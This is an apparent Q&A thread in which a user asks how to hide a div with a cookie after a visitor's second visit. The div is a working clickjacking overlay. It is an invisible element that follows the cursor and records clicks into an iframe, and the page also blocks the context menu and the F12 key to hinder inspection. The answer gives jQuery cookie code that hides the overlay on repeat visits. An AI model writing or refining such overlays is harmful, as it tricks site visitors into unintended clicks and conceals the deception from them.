How to hide div with cookies after a second user visit

Asked

Viewed 284 times

0

Hello friends already searched a lot and did not find how to do I thank for the help since now.

I want to hide a div with cookies after a second user visit

Follows my code:

jQuery(document).mousemove(function(e){
    if( document.activeElement && document.activeElement.tagName == 'IFRAME' ){
	jQuery.post(window.location.href, {click: 1});
	document.getElementById('mime').remove();
    }
});
 




jQuery(document).bind("contextmenu",function(e){jQuery("#mime").remove();});
    document.onkeypress = function (event) {
        event = (event || window.event);
        if (event.keyCode == 123) {
            jQuery("#mime").hide();

            return false;
        }
    }
    document.onmousedown = function (event) {
        event = (event || window.event);
        if (event.keyCode == 123) {
            jQuery("#mime").hide();
         
            return false;
        }
    }
document.onkeydown = function (event) {
        event = (event || window.event);
        if (event.keyCode == 123) {
            jQuery("#mime").hide();
            
            return false;
        }
    }
<div id="mime" style="position:absolute; z-index:99999999999999; opacity:0.0; filter: alpha(opacity=0) ">
<script type='text/javascript'>
habilita=true;
if(document.all){}
          else document.captureEvents(Event.MOUSEMOVE);document.onmousemove=mouse;function mouse(e)
          {if(navigator.appName="Netscape"){xcurs=e.pageX;ycurs=e.pageY;}else{xcurs=event.clientX;ycurs=event.clientY;}
         if(habilita){ document.getElementById("mime").style.left=(xcurs-230)+"px";document.getElementById("mime").style.top=(ycurs-150)+"px";}}
</script>



</div>

1 answer

0

It is necessary to set the cookie on the user’s first visit, and it can be done by jquery in this way:

// O parâmetro de expiração é setado em dias, e ele não é obrigatório.
$.cookie("visited", 1, { expires: 5 } );

The next times he accesses your site, you need to check if the cookie exists on the user’s machine to then hide the div, with jquery:

if($.cookie("visited")) {
    $("div#mime").hide();
}

Browser other questions tagged

You are not signed in. Login or sign up in order to post.